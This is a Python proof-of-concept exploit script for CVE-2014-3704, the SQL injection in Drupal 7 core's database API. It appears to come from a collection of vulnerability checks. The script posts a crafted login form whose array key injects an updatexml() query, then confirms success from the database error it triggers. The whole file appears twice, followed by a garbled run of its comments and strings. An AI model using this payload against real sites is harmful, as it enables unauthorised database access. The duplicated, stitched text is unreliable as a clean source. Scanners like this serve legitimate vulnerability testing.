<filename>2014/CVE-2014-3704/poc/pocsploit/CVE-2014-3704.py
import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Drupal SQL Injection''',
        "description": '''The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.''',
        "severity": "high",
        "references": [
            "https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql", 
            "https://nvd.nist.gov/vuln/detail/CVE-2014-3704", 
            "https://www.drupal.org/SA-CORE-2014-005", 
            "http://www.exploit-db.com/exploits/34984", 
            "http://www.exploit-db.com/exploits/34992", 
            "http://www.exploit-db.com/exploits/34993", 
            "http://www.exploit-db.com/exploits/35150"
        ],
        "classification": {
            "cvss-metrics": "",
            "cvss-score": "",
            "cve-id": "CVE-2014-3704",
            "cwe-id": ""
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2014", "drupal", "sqli"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)
        path = '/?q=node&destination=node'
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/x-www-form-urlencoded',
        }
        data = "pass=<PASSWORD>&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a"

        resp = requests.post(url+path, headers=headers, data=data, timeout=10, verify=False, allow_redirects=False)
        if resp.status_code == 500 and "PDOException" in resp.text and "e807f1fcf82d132f9bb018ca6738a19f" in resp.text:
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url
<filename>2014/CVE-2014-3704/poc/pocsploit/CVE-2014-3704.py
import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Drupal SQL Injection''',
        "description": '''The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.''',
        "severity": "high",
        "references": [
            "https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql", 
            "https://nvd.nist.gov/vuln/detail/CVE-2014-3704", 
            "https://www.drupal.org/SA-CORE-2014-005", 
            "http://www.exploit-db.com/exploits/34984", 
            "http://www.exploit-db.com/exploits/34992", 
            "http://www.exploit-db.com/exploits/34993", 
            "http://www.exploit-db.com/exploits/35150"
        ],
        "classification": {
            "cvss-metrics": "",
            "cvss-score": "",
            "cve-id": "CVE-2014-3704",
            "cwe-id": ""
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2014", "drupal", "sqli"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)
        path = '/?q=node&destination=node'
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/x-www-form-urlencoded',
        }
        data = "pass=<PASSWORD>&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a"

        resp = requests.post(url+path, headers=headers, data=data, timeout=10, verify=False, allow_redirects=False)
        if resp.status_code == 500 and "PDOException" in resp.text and "e807f1fcf82d132f9bb018ca6738a19f" in resp.text:
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url
# Vuln Base Info Drupal SQL Injection The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys. # Vender Fingerprint # Proof of Concept # Exploit, can be same with poc() # Utils